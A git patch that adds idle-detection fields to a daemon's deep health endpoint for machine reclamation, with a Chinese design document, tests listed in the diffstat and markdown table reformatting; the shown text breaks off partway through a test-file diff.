From 858c900af942a26d71485ff443fc27d1d543bf03 Mon Sep 17 00:00:00 2001 From: jifeng Date: Thu, 18 Jun 2026 14:55:03 +0800 Subject: [PATCH] feat(serve): add daemon idle detection to GET /health?deep=true (#4934) * docs(design): add daemon idle detection API design for machine reclamation When qwen daemon is deployed across multiple machines, an external scheduler needs a reliable signal to determine if a daemon is idle and the machine can be reclaimed. This design proposes enhancing GET /health?deep=true with activePrompts, connectedClients, channelAlive, lastActivityAt, and idleSinceMs fields. * feat(serve): add idle-detection fields to GET /health?deep=true * fix(test): add activePromptCount and lastActivityAt to fakeBridge Update the test helper to satisfy the expanded AcpSessionBridge interface so /health?deep=true tests pass with the new fields. * test(idle-detection): add unit tests for activePromptCount, lastActivityAt and /health?deep=true new fields * refactor(bridge): replace activePromptCount iteration with O(1) counter * fix(bridge): move idleSinceMs computation into bridge to eliminate race window * fix(idle-detection): keep daemon health state consistent Guard prompt teardown so activePromptCount only decrements once and compute deep health idle fields from the same activity snapshot. * fix(acp): prevent active prompt leak after channel crash Reject queued prompts after their session entry has been torn down so daemon health does not report phantom active prompts. --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> --- docs/design/daemon-idle-detection-api.md | 219 ++++++++++++ .../daemon-transport-abstraction/README.md | 123 ++++--- docs/developers/daemon/15-channel-adapters.md | 20 +- docs/developers/daemon/19-observability.md | 30 +- .../2026-05-27-daemon-workspace-service.md | 36 +- packages/acp-bridge/src/bridge.test.ts | 335 ++++++++++++++++++ packages/acp-bridge/src/bridge.ts | 66 +++- packages/acp-bridge/src/bridgeTypes.ts | 17 + packages/acp-bridge/src/internal/testUtils.ts | 5 +- packages/cli/src/serve/daemonStatus.test.ts | 3 +- packages/cli/src/serve/server.test.ts | 56 +++ packages/cli/src/serve/server.ts | 8 + .../cli/src/ui/components/Composer.test.tsx | 10 +- .../core/src/agents/background-tasks.test.ts | 5 +- .../core/src/followup/speculation.test.ts | 50 ++- .../src/permissions/shell-semantics.test.ts | 5 +- packages/core/src/utils/toolResultCleanup.ts | 4 +- packages/core/src/utils/truncation.ts | 15 +- .../sdk-typescript/test/unit/daemonUi.test.ts | 10 +- .../src/webview/App.test.tsx | 24 +- .../client/adapters/transcriptToMessages.ts | 12 +- 21 files changed, 876 insertions(+), 177 deletions(-) create mode 100644 docs/design/daemon-idle-detection-api.md diff --git a/docs/design/daemon-idle-detection-api.md b/docs/design/daemon-idle-detection-api.md new file mode 100644 index 0000000000..263d3306b7 --- /dev/null +++ b/docs/design/daemon-idle-detection-api.md @@ -0,0 +1,219 @@ +# Daemon 闲置检测接口设计 + +## 背景 + +### 问题 + +Qwen Daemon 会部署在多台机器上作为长驻服务。当 Daemon 长时间无任务执行时，继续占用机器资源是浪费。外部调度器（K8s HPA / 自定义 Scaler）需要一个可靠的信号来判断 Daemon 是否处于闲置状态，以便做缩容回收。 + +### 现状 + +目前可用的接口： + +| 接口 | 返回信息 | 局限 | +|------|----------|------| +| `GET /health?deep=true` | `{ sessions, pendingPermissions }` | 只有 session 数量，无法区分"有 session 但空闲"和"有 session 正在工作" | +| `GET /workspace/:cwd/sessions` | 每个 session 的 `hasActivePrompt` + `clientCount` | 需要额外一次请求，且无时间维度信息（多久没活动了？） | + +**核心缺失**： +1. 没有汇总级别的"是否有活跃 prompt"指标 +2. 没有"最后活动时间"，外部系统需要自己维护状态机来计算空闲时长 +3. 没有 SSE 连接数暴露（已内部维护 `activeSseCount`，但 `/health` 未返回） +4. 没有 channel（agent 子进程）存活状态暴露 + +## 设计目标 + +提供一个**单次 HTTP 调用即可完成闲置判断**的接口，满足： +- 外部调度器一次 GET 即可判断是否可回收 +- 支持时间维度（空闲了多久），避免外部维护状态 +- 向后兼容现有 `/health` 行为 +- 零额外依赖，利用已有内部状态 + +## 方案 + +### 增强 `GET /health?deep=true` 响应 + +在现有 `/health?deep=true` 返回中追加字段： + +```jsonc +// GET /health?deep=true +{ + "status": "ok", + + // --- 已有字段（不变）--- + "sessions": 2, + "pendingPermissions": 0, + + // --- 新增字段 --- + "activePrompts": 1, // 正在执行 prompt 的 session 数 + "connectedClients": 3, // 活跃 SSE 连接数 + "channelAlive": true, // agent 子进程是否存活 + "lastActivityAt": "2026-06-10T08:30:00.000Z", // 最后一次活动时间（ISO 8601） + "idleSinceMs": 120000 // 距离最后活动已经过去的毫秒数 +} +``` + +### 字段定义 + +| 字段 | 类型 | 语义 | +|------|------|------| +| `activePrompts` | `number` | 当前 `promptActive === true` 的 session 计数 | +| `connectedClients` | `number` | 当前活跃 SSE 连接数（已有 `activeSseCount`） | +| `channelAlive` | `boolean` | agent 子进程是否存活（已有 `bridge.isChannelLive()`） | +| `lastActivityAt` | `string \| null` | 最后一次 prompt 开始或完成的 ISO 时间戳；daemon 启动后从未有过 prompt 时为 `null` | +| `idleSinceMs` | `number \| null` | `Date.now() - lastActivityAt`；无活动记录时为 `null` | + +### "活动" 的定义 + +以下事件视为"活动"，会刷新 `lastActivityAt`： +- prompt 开始执行（`promptActive` 从 false → true） +- prompt 完成/失败（`promptActive` 从 true → false） +- 新 session 创建（`spawnOrAttach` 成功） +- session 恢复/加载（`loadSession` / `resumeSession` 成功） + +**不**视为活动的事件（避免误判）： +- SSE 连接/断开 +- 心跳 heartbeat +- `/health` 请求本身 +- permission 请求/响应 + +### 闲置判断规则（供外部调度器参考） + +```python +def should_reclaim(health, idle_threshold_ms=300_000): + """建议回收条件：空闲超过阈值（默认 5 分钟）""" + if health["activePrompts"] > 0: + return False # 有任务在跑 + if health["connectedClients"] > 0: + return False # 有客户端连着 + if health["idleSinceMs"] is None: + # 从未有过活动 — 可能是刚启动的 cold daemon + return True + return health["idleSinceMs"] >= idle_threshold_ms +``` + +## 涉及代码改动 + +### 1. `packages/acp-bridge/src/bridgeTypes.ts` + +在 `AcpSessionBridge` 接口新增： + +```typescript +/** 正在执行 prompt 的 session 数量 */ +get activePromptCount(): number; + +/** 最后一次活动时间戳（epoch ms），null 表示从未有过活动 */ +get lastActivityAt(): number | null; +``` + +### 2. `packages/acp-bridge/src/bridge.ts` + +在 `createAcpSessionBridge` 工厂函数内： + +```typescript +// 新增状态追踪 +let lastActivityTimestamp: number | null = null; + +function touchActivity(): void { + lastActivityTimestamp = Date.now(); +} +``` + +在以下位置调用 `touchActivity()`： +- `entry.promptActive = true`（~line 2528）— prompt 开始 +- `entry.promptActive = false`（~line 2551, 2559）— prompt 结束 +- `doSpawn` 成功创建 session 后（~line 1906 附近） +- `restoreSession` 成功后 + +在返回对象中暴露： + +```typescript +get activePromptCount() { + let count = 0; + for (const entry of byId.values()) { + if (entry.promptActive) count++; + } + return count; +}, + +get lastActivityAt() { + return lastActivityTimestamp; +}, +``` + +### 3. `packages/cli/src/serve/server.ts` + +修改 `healthHandler`（~line 803）中 `deep` 分支： + +```typescript +const healthHandler = (req: Request, res: Response): void => { + const deepQuery = req.query['deep']; + const deep = deepQuery === '1' || deepQuery === 'true' || deepQuery === ''; + if (!deep) { + res.status(200).json({ status: 'ok' }); + return; + } + try { + const lastActivityAt = bridge.lastActivityAt; + const now = Date.now(); + res.status(200).json({ + status: 'ok', + // 已有 + sessions: bridge.sessionCount, + pendingPermissions: bridge.pendingPermissionCount, + // 新增 + activePrompts: bridge.activePromptCount, + connectedClients: getActiveSseCount(), + channelAlive: bridge.isChannelLive(), + lastActivityAt: lastActivityAt !== null + ? new Date(lastActivityAt).toISOString() + : null, + idleSinceMs: lastActivityAt !== null + ? now - lastActivityAt + : null, + }); + } catch (err) { + writeStderrLine( + `qwen serve: /health deep probe failed: ${err instanceof Error ? err.message : String(err)}`, + ); + res.status(503).json({ status: 'degraded' }); + } +}; +``` + +### 4. `packages/cli/src/serve/server.test.ts` + +新增测试用例覆盖： +- `/health?deep=true` 返回新字段的正确性 +- 无 session 时 `activePrompts === 0`、`idleSinceMs === null` +- prompt 执行中 `activePrompts > 0`、`idleSinceMs` 持续刷新 +- prompt 完成后 `idleSinceMs` 开始递增 + +### 5. `packages/acp-bridge/src/bridge.test.ts` + +新增测试用例覆盖： +- `activePromptCount` 在 prompt 生命周期中的值变化 +- `lastActivityAt` 在各活动事件后被刷新 +- 多 session 并行时 `activePromptCount` 正确累加 + +## 文件变更清单 + +| 文件 | 改动类型 | 说明 | +|------|----------|------| +| `packages/acp-bridge/src/bridgeTypes.ts` | 接口扩展 | 新增 `activePromptCount`、`lastActivityAt` 属性 | +| `packages/acp-bridge/src/bridge.ts` | 逻辑实现 | 新增 `lastActivityTimestamp` 追踪 + getter | +| `packages/cli/src/serve/server.ts` | HTTP 响应扩展 | `/health?deep=true` 增加新字段 | +| `packages/cli/src/serve/server.test.ts` | 测试 | 新增 health 接口新字段覆盖 | +| `packages/acp-bridge/src/bridge.test.ts` | 测试 | 新增 bridge 属性覆盖 | + +## 兼容性 + +- **向后兼容**：新字段是追加的，不修改/删除任何已有字段 +- **`GET /health`（非 deep）**：行为不变，仍只返回 `{ "status": "ok" }` +- **OTel Gauge**：已有的 `registerDaemonGaugeCallbacks` 可选后续追加 `activePrompts` gauge，但不在本次范围内 + +## 后续扩展（不在本次范围） + +1. **自动 shutdown**：daemon 内置 `--auto-shutdown-idle-ms` 参数，空闲超时后自行退出（适合 systemd/K8s Pod 场景） +2. **OTel 指标暴露**：将 `activePrompts`、`idleSinceMs` 作为 gauge 注册到 OTel meter +3. **Webhook 回调**：空闲超阈值时主动推送事件到外部系统 diff --git a/docs/design/daemon-transport-abstraction/README.md b/docs/design/daemon-transport-abstraction/README.md index d8f5a6b62f..dc3f5c03ff 100644 --- a/docs/design/daemon-transport-abstraction/README.md +++ b/docs/design/daemon-transport-abstraction/README.md @@ -66,7 +66,7 @@ One provider, one store, transport is an internal detail. Third parties pass ```typescript interface DaemonTransportFetchOptions { - timeout?: number; // 0 = no timeout. undefined = transport default. + timeout?: number; // 0 = no timeout. undefined = transport default. } interface DaemonTransportSubscribeOptions { @@ -141,11 +141,11 @@ class DaemonTransportClosedError extends Error {} `subscribeEvents` has fundamentally different wire semantics per transport: -| Transport | Wire mechanism | -|-----------|---------------| -| REST | `GET /session/:id/events` → SSE → `parseSseStream` → `DaemonEvent` | -| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap | -| ACP WS | Demux notifications from shared socket by sessionId | +| Transport | Wire mechanism | +| --------- | ------------------------------------------------------------------ | +| REST | `GET /session/:id/events` → SSE → `parseSseStream` → `DaemonEvent` | +| ACP HTTP | `GET /acp` (session-scoped SSE) → JSON-RPC notification unwrap | +| ACP WS | Demux notifications from shared socket by sessionId | Forcing these through a fetch-shaped hole requires SSE re-encoding/decoding (WS → fake SSE text → `parseSseStream` → DaemonEvent) — wasteful and fragile. @@ -156,6 +156,7 @@ semantics regardless of transport. ### 2.3 Why fetch-level, not method-dispatch DaemonClient's 67 methods contain per-method HTTP branching: + - `prompt()`: 202 vs 200 status check - `deleteWorkspaceAgent()`: 204 vs 404 with body inspection - `respondToPermission()`: 200 vs 404 for race detection @@ -170,13 +171,14 @@ all this logic in every transport. Fetch-level keeps DaemonClient unchanged. export interface DaemonClientOptions { baseUrl: string; token?: string; - fetch?: typeof globalThis.fetch; // Kept - fetchTimeoutMs?: number; // Kept - transport?: DaemonTransport; // NEW — optional override + fetch?: typeof globalThis.fetch; // Kept + fetchTimeoutMs?: number; // Kept + transport?: DaemonTransport; // NEW — optional override } ``` Internal changes: + - Constructor: `this.transport = opts.transport ?? new RestSseTransport(...)` - `fetchWithTimeout`: delegate to `this.transport.fetch(url, init, { timeout })` - 6 direct `this._fetch` sites (prompt, promptNonBlocking, recapSession, @@ -198,7 +200,7 @@ bypassing the provider: interface DaemonWorkspaceProviderProps { baseUrl: string; token?: string; - transport?: DaemonTransport; // NEW — forwarded to DaemonClient + transport?: DaemonTransport; // NEW — forwarded to DaemonClient // ...existing props } @@ -207,8 +209,9 @@ interface DaemonWorkspaceProviderProps { ``` When `transport` is provided, the provider passes it to `DaemonClient`: + ```typescript -new DaemonClient({ baseUrl, token, transport: props.transport }) +new DaemonClient({ baseUrl, token, transport: props.transport }); ``` When omitted: current behavior (REST+SSE). ~5 lines of provider change. @@ -221,8 +224,8 @@ Wraps `globalThis.fetch` + extracts current SSE logic from ```typescript class RestSseTransport implements DaemonTransport { readonly type = 'rest' as const; - readonly supportsReplay = true; // SSE supports Last-Event-ID - readonly connected = true; // REST is stateless + readonly supportsReplay = true; // SSE supports Last-Event-ID + readonly connected = true; // REST is stateless constructor( private readonly baseUrl: string, @@ -230,7 +233,9 @@ class RestSseTransport implements DaemonTransport { private readonly _fetch: typeof globalThis.fetch, ) {} - fetch(url, init, opts?) { return this._fetch(url, init); } + fetch(url, init, opts?) { + return this._fetch(url, init); + } async *subscribeEvents(sessionId, opts) { // Current DaemonClient.subscribeEvents logic moved here: @@ -240,13 +245,14 @@ class RestSseTransport implements DaemonTransport { // - fetch → validate content-type → parseSseStream → yield } - dispose() {} // no-op + dispose() {} // no-op } ``` ### 2.6 ACP transport internals **AcpWsTransport** (~400-600 lines): + - Lazy-init: first `fetch` call opens WS + sends `initialize` - URL→JSON-RPC mapping table: `/session/:id/prompt` → `{method: "session/prompt", params: {sessionId: id, ...body}}` - Request multiplexer: `Map` for pending requests @@ -256,6 +262,7 @@ class RestSseTransport implements DaemonTransport { - Synthesizes `Response` objects with correct `.status`/`.json()`/`.text()` **AcpHttpTransport** (~800-1000 lines): + - Lazy-init: first `fetch` call sends `POST /acp {initialize}` - Manages conn-scoped + session-scoped SSE streams internally - Same URL→JSON-RPC mapping + request correlation @@ -281,6 +288,7 @@ const transport = await DaemonTransport.negotiate(baseUrl, token); ``` Implementation: + 1. `GET /capabilities` → read `transports` array 2. If `acp-ws` in list → try WS upgrade; on success return `AcpWsTransport` 3. If WS fails or not in list → try `acp-http`; on success return `AcpHttpTransport` @@ -314,6 +322,7 @@ The transport does not silently switch protocols — it fails loudly (`DaemonTransportClosedError`) and the consumer decides whether to rebuild. Rationale: + - WS teardown destroys all owned sessions server-side (`registry.delete` → `conn.destroy`). A silent switch would hide this data loss. - `session/load` re-attaches to the existing bridge session (transcripts @@ -355,35 +364,35 @@ code is additive and opt-in. `new DaemonClient({ baseUrl, token })` without ### Verdict: zero breaking changes -| Public API | Change | Breaking? | -|-----------|--------|:---------:| -| `new DaemonClient({ baseUrl, token })` | No change | ❌ | -| `DaemonClientOptions.*` | All kept, `transport` added | ❌ | -| `DaemonHttpError` | Unchanged | ❌ | -| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ | -| All type exports (100+) | Unchanged | ❌ | +| Public API | Change | Breaking? | +| -------------------------------------- | ---------------------------------------- | :-------: | +| `new DaemonClient({ baseUrl, token })` | No change | ❌ | +| `DaemonClientOptions.*` | All kept, `transport` added | ❌ | +| `DaemonHttpError` | Unchanged | ❌ | +| `DaemonSessionClient` | Zero changes (delegates to DaemonClient) | ❌ | +| All type exports (100+) | Unchanged | ❌ | ### Per-consumer impact -| Consumer | Impact | -|----------|--------| -| webui (25 files) | Zero code changes | -| web-shell (4 files) | Zero code changes | -| vscode-ide-companion (1 file) | Zero code changes | -| Third-party | Zero for REST; pass `transport` for ACP | +| Consumer | Impact | +| ----------------------------- | --------------------------------------- | +| webui (25 files) | Zero code changes | +| web-shell (4 files) | Zero code changes | +| vscode-ide-companion (1 file) | Zero code changes | +| Third-party | Zero for REST; pass `transport` for ACP | --- ## 4. Design decisions -| Decision | Rationale | -|----------|-----------| -| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile | -| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" | -| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init | -| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch | -| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is | -| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior | +| Decision | Rationale | +| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `subscribeEvents` on transport, not just `fetch` | SSE re-encoding through fetch is wasteful and fragile | +| `connected: boolean` on transport | Provider reconnect loop needs to distinguish "transport dead" from "transient 500" | +| Lazy-init (not explicit `connect()`) | Keeps DaemonClient construction synchronous; default `new RestSseTransport()` needs no init | +| Auto-detection is one-shot, not mid-session | `negotiate()` probes once at startup; runtime fallback is consumer-driven via `DaemonTransportClosedError`, not silent internal switch | +| No error taxonomy prerequisite | ACP transports map errors to HTTP-equivalent status codes internally; `DaemonHttpError` works as-is | +| Provider gets `transport` prop | `DaemonWorkspaceProvider` gains optional `transport` prop (~5 lines), forwarded to `DaemonClient` constructor. Third parties set this prop; omitting it = current REST behavior | --- @@ -419,20 +428,20 @@ Parallel `AcpSessionProvider` + `ChatBridgeContext` + `SessionBridgeContext`. All changes land in one PR. Estimated ~1300 lines total. -| File | Change | Lines | -|------|--------|-------| -| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 | -| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 | -| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 | -| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 | -| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 | -| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 | -| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net | -| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 | -| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 | -| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 | -| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 | -| Tests | Transport unit + integration tests | ~200 | +| File | Change | Lines | +| ----------------------------------------------------------------- | ------------------------------------------------------------------------ | ------- | +| `packages/sdk-typescript/src/daemon/DaemonTransport.ts` | Interface + types + `DaemonTransportClosedError` + `negotiate()` factory | ~110 | +| `packages/sdk-typescript/src/daemon/RestSseTransport.ts` | Wraps `globalThis.fetch` + SSE logic extracted from DaemonClient | ~80 | +| `packages/sdk-typescript/src/daemon/AcpWsTransport.ts` | WS multiplexer + URL→JSON-RPC mapping + request correlation | ~400 | +| `packages/sdk-typescript/src/daemon/AcpHttpTransport.ts` | POST /acp + conn/session SSE management | ~300 | +| `packages/sdk-typescript/src/daemon/AcpEventDenormalizer.ts` | JSON-RPC notification → DaemonEvent mapping | ~150 | +| `packages/sdk-typescript/src/daemon/AutoReconnectTransport.ts` | Opt-in wrapper: reconnect + fallback | ~150 | +| `packages/sdk-typescript/src/daemon/DaemonClient.ts` | Constructor + 6 `_fetch` sites + subscribeEvents rewrite | ~40 net | +| `packages/sdk-typescript/src/daemon/index.ts` | Export new types | ~10 | +| `packages/cli/src/serve/server.ts` | Add `transports` field to `GET /capabilities` | ~5 | +| `packages/sdk-typescript/src/daemon/types.ts` | Add `transports` to `DaemonCapabilities` type | ~3 | +| `packages/webui/src/daemon/workspace/DaemonWorkspaceProvider.tsx` | Add optional `transport` prop, forward to `DaemonClient` | ~5 | +| Tests | Transport unit + integration tests | ~200 | **Backward compatibility**: `new DaemonClient({ baseUrl, token })` without `transport` = identical REST+SSE behavior. All existing tests pass unchanged. @@ -464,10 +473,10 @@ All changes land in one PR. Estimated ~1300 lines total. ## 8. Risks -| Risk | Mitigation | -|------|-----------| -| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update | -| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) | -| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly | -| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` | -| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` | +| Risk | Mitigation | +| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ | +| URL→JSON-RPC mapping table maintenance | Table co-located with transport; daemon route changes require transport update | +| ACP WS synthesized Response fidelity | Provide `syntheticResponse(status, json)` helper; document contract (`.json()`, `.text()`, `.status`, `.body?.cancel()`) | +| `DaemonEvent.id` monotonicity for WS | ACP server's JSON-RPC notifications carry event id; transport surfaces it directly | +| Prompt 202 vs 200 for WS | Transport maps JSON-RPC response → 200 with result body (blocking path); events still flow via `subscribeEvents` | +| WS connection drop detection | `connected: boolean` + `DaemonTransportClosedError` thrown from `fetch` | diff --git a/docs/developers/daemon/15-channel-adapters.md b/docs/developers/daemon/15-channel-adapters.md index b93571824a..1f6d0a6c93 100644 --- a/docs/developers/daemon/15-channel-adapters.md +++ b/docs/developers/daemon/15-channel-adapters.md @@ -60,11 +60,11 @@ Handles common cross-cutting concerns: sender gating (allowlist / denylist), gro ### Per-channel adapters -| Adapter | File | Transport | Notes | -| --------------- | --------------------------------------------------- | ----------------------------------- | ---------------------------------------------------------------------------------------- | -| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. | -| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. | -| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. | +| Adapter | File | Transport | Notes | +| --------------- | --------------------------------------------------- | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------ | +| DingTalk | `packages/channels/dingtalk/src/DingtalkAdapter.ts` | DingTalk Stream SDK WebSocket | Sends via `sessionWebhook` POST; media images downloaded via DT API, base64 in envelope. | +| WeChat (Weixin) | `packages/channels/weixin/src/WeixinAdapter.ts` | iLink Bot HTTP long-poll | Sends via proprietary `sendText` / `sendImage` API; typing indicators. | +| Telegram | `packages/channels/telegram/src/TelegramAdapter.ts` | Telegram Bot API long-poll (grammy) | Sends HTML chunks via `sendMessage`. | | Feishu | `packages/channels/feishu/src/FeishuAdapter.ts` | Feishu/Lark Stream WebSocket (default) or HTTP webhook | Sends via Lark SDK as interactive cards; webhook mode requires `encryptKey` for HMAC signature verification. | Each adapter implements: @@ -77,11 +77,11 @@ Each adapter implements: ### Adapter matrix -| Adapter | Transport | Identity | Permission UX | Auto-approve config | -| ------------ | ----------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- | -| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` | -| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same | -| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same | +| Adapter | Transport | Identity | Permission UX | Auto-approve config | +| ------------ | ------------------------------- | -------------------------------------------------------- | ----------------------------------- | ------------------------------------------------- | +| **DingTalk** | WebSocket stream | `senderStaffId` (+ optional `conversationId` for groups) | Inline buttons via DT markdown | `ChannelConfig.approvalMode = 'auto' \| 'prompt'` | +| **WeChat** | HTTP long-poll | `senderWxid` (+ optional `groupWxid`) | Text-only prompts with reply tokens | Same | +| **Telegram** | Bot API long-poll | `from.id` (+ optional `chat.id` for groups) | Inline keyboard buttons | Same | | **Feishu** | WebSocket stream / HTTP webhook | `sender.open_id` (+ optional `chat_id` for groups) | Interactive card buttons | Same | > **Note:** The "Permission UX" column describes each platform's native affordance, but none is wired up yet — `AcpBridge.requestPermission` currently auto-approves every request (`packages/channels/base/src/AcpBridge.ts`), and `ChannelConfig.approvalMode` is declared but not yet read. Interactive approval is planned (Phase 5). diff --git a/docs/developers/daemon/19-observability.md b/docs/developers/daemon/19-observability.md index d71d599253..1dd558a59b 100644 --- a/docs/developers/daemon/19-observability.md +++ b/docs/developers/daemon/19-observability.md @@ -6,22 +6,22 @@ ## What exists today -| Surface | Location | Purpose | -| ------------------------------------------- | ---------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. | -| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. | -| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> `. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. | -| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. | -| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. | -| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). | -| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. | -| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. | -| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. | -| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. | -| Per-session SSE | `GET /session/:id/events` | Real-time event stream. | +| Surface | Location | Purpose | +| ------------------------------------------- | ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `QWEN_SERVE_DEBUG` stderr logs | `bridge.ts` and call sites | Env values `1` / `true` / `on` / `yes` (case-insensitive) print `qwen serve debug: ...` lines to stderr. | +| OpenTelemetry span instrumentation | `server.ts` `daemonTelemetryMiddleware` | Each HTTP request is wrapped in `withDaemonRequestSpan`; attributes include route, sessionId, clientId, and status code. Permission routes have dedicated spans. Prompt lifecycle is traced end-to-end. Configuration lives in `settings.json` `telemetry`. | +| `DaemonLogger` structured file logs | `serve/daemonLogger.ts` | Structured JSON-like log lines are written to a file. Boot prints `daemon log -> `. Supports `info` / `warn` / `error` levels, with structured fields such as `route`, `sessionId`, `clientId`, `childPid`, and `channelId`. | +| Per-request access-log middleware | `server.ts`, registered before `bearerAuth` | Logs `method`, `path`, `status`, `durationMs`, `sessionId`, and `clientId` after each request. Skips `GET /health` and heartbeat. 4xx+ uses `warn`; success uses `info`. | +| `/health` | `server.ts` route | Liveness probe; `?deep=1` returns extended details. | +| `/capabilities` | `server.ts` route | Preflight feature discovery. See [`11-capabilities-versioning.md`](./11-capabilities-versioning.md). | +| `/workspace/preflight` | Route -> `DaemonStatusProvider` | Structured readiness cells: Node version, CLI entry, ripgrep, git, npm, plus ACP-level cells once a child is alive. | +| `/workspace/env` | Route -> `DaemonStatusProvider` | Daemon process env snapshot. Secret env vars report only presence; proxy URL credentials are stripped. | +| `/workspace/mcp` | Route -> bridge extMethod | Pool, budget, and refusal snapshot. | +| `/workspace/skills`, `/workspace/providers` | Routes | ACP-side live snapshots; return empty idle data when no session exists. | +| Per-session SSE | `GET /session/:id/events` | Real-time event stream. | | `/demo` debug console | `GET /demo` (`packages/cli/src/serve/demo.ts`) | Browser-accessible single-page console: chat, event log, workspace inspector, and permission UX. On loopback, `http://127.0.0.1:4170/demo` is the quickest end-to-end validation path without writing SDK code. Registration rules are in [`02-serve-runtime.md`](./02-serve-runtime.md). | -| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. | -| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. | +| `PermissionAuditRing` | `permissionAudit.ts` | In-memory FIFO of 512 permission decisions. | +| Mediator `decisionReason` audit | `permissionMediator.ts` | Internal structured record explaining why a permission request resolved the way it did. | ## What does not exist today diff --git a/docs/superpowers/plans/2026-05-27-daemon-workspace-service.md b/docs/superpowers/plans/2026-05-27-daemon-workspace-service.md index abc7b982bb..9cebca54cc 100644 --- a/docs/superpowers/plans/2026-05-27-daemon-workspace-service.md +++ b/docs/superpowers/plans/2026-05-27-daemon-workspace-service.md @@ -326,13 +326,11 @@ describe('FileService', () => { describe('read', () => { it('calls fsFactory.forRequest with context and delegates to readFile', async () => { const mockFs = { - readFile: vi - .fn() - .mockResolvedValue({ - content: 'hello', - truncated: false, - bytesRead: 5, - }), + readFile: vi.fn().mockResolvedValue({ + content: 'hello', + truncated: false, + bytesRead: 5, + }), }; const fsFactory = { forRequest: 